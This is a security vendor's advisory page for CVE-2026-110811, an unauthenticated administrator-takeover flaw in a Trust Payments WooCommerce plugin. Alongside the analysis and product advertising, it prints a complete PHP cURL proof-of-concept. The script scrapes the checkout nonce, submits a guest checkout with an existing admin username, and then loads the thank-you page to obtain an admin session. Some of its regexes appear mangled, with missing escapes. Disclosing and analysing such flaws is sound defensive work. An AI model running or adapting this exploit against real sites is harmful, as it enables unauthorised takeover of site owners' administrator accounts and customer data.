Published : November 18, 2026

CVE-2026-110811: Trust Payments Gateway for WooCommerce (JavaScript Library) <= 1.3.8 Unauthenticated Authentication Bypass to Administrator via Guest-Registration WP_Error Coercion PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 287
Vulnerable Version 1.3.8
Patched Version —
Disclosed November 17, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-110811 (metadata-based): The Trust Payments Gateway for WooCommerce (JavaScript Library) plugin, versions up to and including 1.3.8, contains an unauthenticated authentication bypass vulnerability. The flaw resides in the new_customer_account() function during guest checkout and the add_customer_details_to_thankyou_page() callback. When an attacker supplies a new_username parameter that matches an existing WordPress login (e.g., the administrator), wp_create_user() returns a WP_Error object. The function stores this raw error object in the order’s tp_userid post meta before checking is_wp_error(). Later, the thank-you page callback reads this meta and casts it with (int), coercing the object to integer 1. The callback then calls wp_set_current_user(1) and wp_set_auth_cookie(1) unconditionally, authenticating the attacker as user ID 1, the site administrator (or network super-admin on multisite). This vulnerability has a CVSS score of 9.8 (Critical) and is classified as CWE-287 Improper Authentication. No patched version is available. Atomic Edge analysis confirms these details from the CVE description; no source code diff was available, so the exact code flow is inferred from the description and CWE.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-110811 - Trust Payments Gateway for WooCommerce (JavaScript Library) <= 1.3.8 - Unauthenticated Authentication Bypass to Administrator via Guest-Registration WP_Error Coercion
// This PoC demonstrates the authentication bypass by completing a checkout with an existing username and then visiting the thank-you page.
// Assumptions: WordPress is installed at $target_url, WooCommerce and the Trust Payments Gateway plugin are active, and the gateway is configured for checkout.

$target_url = 'http://example.com'; // Change to your target WordPress site URL

// Step 1: Discover the administrator username (default: 'admin')
// The CVE description states the ID 1 administrator username is enumerable via standard WordPress user enumeration.
// For this PoC, we assume the username is 'admin'. Replace with the actual username if known.
$admin_username = 'admin';

// Step 2: Initialize cURL session
$ch = curl_init();

// Step 3: Add a product to the cart to start the checkout process.
// We need a valid product ID. This is site-specific. We'll use product ID 1 as a placeholder.
// Replace with an actual product ID from the target site.
$product_id = 1;

// Get the cart page to obtain any necessary cookies or nonces.
curl_setopt($ch, CURLOPT_URL, $target_url . '/?add-to-cart=' . $product_id);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Error: ' . curl_error($ch));
}

// Step 4: Proceed to checkout and fill in the form, providing the admin username as new_username.
// We need to submit the checkout form. The exact fields depend on WooCommerce and the plugin.
// We'll simulate a POST to the checkout endpoint with required fields.
$checkout_url = $target_url . '/checkout/';
$post_fields = [
    'billing_first_name' => 'Test',
    'billing_last_name' => 'User',
    'billing_email' => 'test@example.com',
    'billing_phone' => '1234567890',
    'billing_address_1' => '123 Test St',
    'billing_city' => 'Test City',
    'billing_postcode' => '12345',
    'billing_country' => 'US',
    'payment_method' => 'trust_payments', // Adjust to the actual gateway ID
    'terms' => 'on',
    'new_username' => $admin_username, // The critical parameter: existing username
    'woocommerce-process-checkout-nonce' => '...', // Need to extract from the checkout page
    // Add other required fields as needed
];

// First, GET the checkout page to extract the nonce and any other hidden fields.
curl_setopt($ch, CURLOPT_URL, $checkout_url);
curl_setopt($ch, CURLOPT_POST, false);
$checkout_page = curl_exec($ch);

// Extract the nonce (simplified regex; in practice, use DOM parsing)
if (preg_match('/name="woocommerce-process-checkout-nonce" value="([^"]+)"/', $checkout_page, $matches)) {
    $post_fields['woocommerce-process-checkout-nonce'] = $matches[1];
} else {
    die('Could not find checkout nonce. The checkout page structure may differ.n');
}

// Step 5: Submit the checkout form with the new_username set to the admin username.
curl_setopt($ch, CURLOPT_URL, $checkout_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Error: ' . curl_error($ch));
}

// Step 6: Extract the order-received URL from the response (redirect or link).
// The thank-you page is typically at /checkout/order-received/{order_id}/?key={order_key}
if (preg_match('/order-received/(d+)/', $response, $order_matches)) {
    $order_id = $order_matches[1];
    // The order key is usually in the URL or in the page. We'll try to extract it.
    if (preg_match('/order-received/d+/?key=([a-z0-9]+)/', $response, $key_matches)) {
        $order_key = $key_matches[1];
    } else {
        // If not found, we may need to parse the response differently.
        die('Could not extract order key. The checkout may have failed.n');
    }
} else {
    die('Could not find order-received URL. The checkout may have failed.n');
}

// Step 7: Visit the thank-you page to trigger the authentication bypass.
$thankyou_url = $target_url . '/checkout/order-received/' . $order_id . '/?key=' . $order_key;
curl_setopt($ch, CURLOPT_URL, $thankyou_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Error: ' . curl_error($ch));
}

// Step 8: Verify authentication by accessing the WordPress admin dashboard.
$admin_url = $target_url . '/wp-admin/';
curl_setopt($ch, CURLOPT_URL, $admin_url);
$response = curl_exec($ch);

// Check if we are logged in as admin (e.g., presence of admin bar or dashboard content)
if (strpos($response, 'Dashboard') !== false || strpos($response, 'wp-admin-bar-my-account') !== false) {
    echo "Exploit successful! Logged in as administrator.n";
} else {
    echo "Exploit may have failed. Check responses manually.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.